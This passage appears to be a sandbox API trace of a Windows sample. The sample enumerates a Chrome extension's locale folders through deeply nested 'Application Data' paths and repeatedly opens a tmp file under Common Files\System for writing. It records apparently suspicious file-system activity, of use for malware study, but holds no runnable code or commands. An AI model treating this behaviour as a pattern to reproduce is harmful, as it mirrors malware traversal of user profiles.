Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.955] AreFileApisANSI () returned 1 [0133.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.955] GetFileType (hFile=0x19c) returned 0x1 [0133.955] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f6d7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.955] AreFileApisANSI () returned 1 [0133.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.955] GetFileType (hFile=0x19c) returned 0x1 [0133.955] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f7dc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.955] AreFileApisANSI () returned 1 [0133.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.955] GetFileType (hFile=0x19c) returned 0x1 [0133.955] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f8de, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.956] AreFileApisANSI () returned 1 [0133.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.956] GetFileType (hFile=0x19c) returned 0x1 [0133.956] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f9e0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.956] AreFileApisANSI () returned 1 [0133.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.956] GetFileType (hFile=0x19c) returned 0x1 [0133.956] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2fae2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.956] AreFileApisANSI () returned 1 [0133.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.956] GetFileType (hFile=0x19c) returned 0x1 [0133.956] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2fbe4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.956] AreFileApisANSI () returned 1 [0133.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.957] GetFileType (hFile=0x19c) returned 0x1 [0133.957] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2fce6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.957] AreFileApisANSI () returned 1 [0133.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.957] GetFileType (hFile=0x19c) returned 0x1 [0133.957] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2fde8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.957] AreFileApisANSI () returned 1 [0133.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.957] GetFileType (hFile=0x19c) returned 0x1 [0133.957] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2feea, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.957] AreFileApisANSI () returned 1 [0133.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.958] GetFileType (hFile=0x19c) returned 0x1 [0133.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2ffec, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.958] AreFileApisANSI () returned 1 [0133.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.958] GetFileType (hFile=0x19c) returned 0x1 [0133.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x300ee, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0133.958] AreFileApisANSI () returned 1 [0133.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.958] GetFileType (hFile=0x19c) returned 0x1 [0133.958] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x301f0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.959] AreFileApisANSI () returned 1 [0133.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.959] GetFileType (hFile=0x19c) returned 0x1 [0133.959] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x302f2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.959] AreFileApisANSI () returned 1 [0133.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.959] GetFileType (hFile=0x19c) returned 0x1 [0133.959] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x303f4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.959] AreFileApisANSI () returned 1 [0133.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.959] GetFileType (hFile=0x19c) returned 0x1 [0133.959] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x304f6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.959] AreFileApisANSI () returned 1 [0133.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.960] GetFileType (hFile=0x19c) returned 0x1 [0133.960] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x305f8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.960] AreFileApisANSI () returned 1 [0133.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.960] GetFileType (hFile=0x19c) returned 0x1 [0133.960] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x306fa, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.010] AreFileApisANSI () returned 1 [0134.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.011] GetFileType (hFile=0x19c) returned 0x1 [0134.011] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x307fc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.011] AreFileApisANSI () returned 1 [0134.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.011] GetFileType (hFile=0x19c) returned 0x1 [0134.011] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x308fe, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.011] AreFileApisANSI () returned 1 [0134.011] 